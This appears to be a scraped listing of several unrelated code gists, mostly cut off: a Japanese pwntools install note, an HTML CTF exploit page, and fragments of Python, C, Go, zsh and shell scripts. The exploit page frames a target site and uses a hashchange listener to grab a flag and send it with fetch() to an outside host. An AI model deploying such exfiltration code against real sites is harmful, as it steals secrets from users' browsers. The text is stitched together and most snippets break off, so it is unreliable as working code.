公式リファレンス: pwntools
最新版を降らせる
pip install "git+https://github.com/Gallopsled/pwntools#egg=pwntools"
<iframe id="ifr0" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe> | |
<iframe id="ifr1" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe> | |
<script> | |
window.addEventListener('hashchange', (evt) => { | |
const flag = evt.newURL.match(/CTF-BR\{.*\}/)[0] | |
fetch(`//tool.tonkatsu.info/?flag=${encodeURIComponent(flag)}`) | |
}) | |
</script> |
公式リファレンス: pwntools
最新版を降らせる
pip install "git+https://github.com/Gallopsled/pwntools#egg=pwntools"
<!doctype html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
</head> | |
<body> | |
<iframe name=f width=100 height=100></iframe> | |
<script> |
from urllib.request import urlopen | |
from urllib import request | |
import string | |
def escape(val): | |
return ''' | |
$'\\\\{}' | |
'''[1:-1].format(val) |
123; | |
return 123; | |
} | |
extern void *opendir(const char *); | |
extern void *readdir(void *); | |
extern void *shmat(int, const void *, int); | |
typedef struct { | |
ino_t d_ino; | |
off_t d_off; | |
unsigned short d_reclen; |
import pickle | |
import io | |
whitelist = ['sys'] | |
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals | |
class RestrictedUnpickler(pickle.Unpickler): | |
def find_class(self, module, name): | |
print(module) |
package main | |
import ( | |
"bytes" | |
"crypto/rand" | |
"crypto/sha256" | |
"encoding/gob" | |
"fmt" | |
"io/ioutil" | |
"log" |
function prezto-update() { | |
olddir=`pwd` | |
cd ~/.zprezto && git pull && git submodule update --init --recursive | |
cd $olddir | |
} | |
function swap() { | |
mv $1 .$1.myswp | |
mv $2 $1 | |
mv .$1.myswp $2 |
#!/bin/sh | |
remote_dir=host:path/to/remote/dir | |
local_dir=path/to/local/dir | |
usage () { | |
echo "usage: $0 [pull|push|sync]" >&2 | |
} | |
check () { |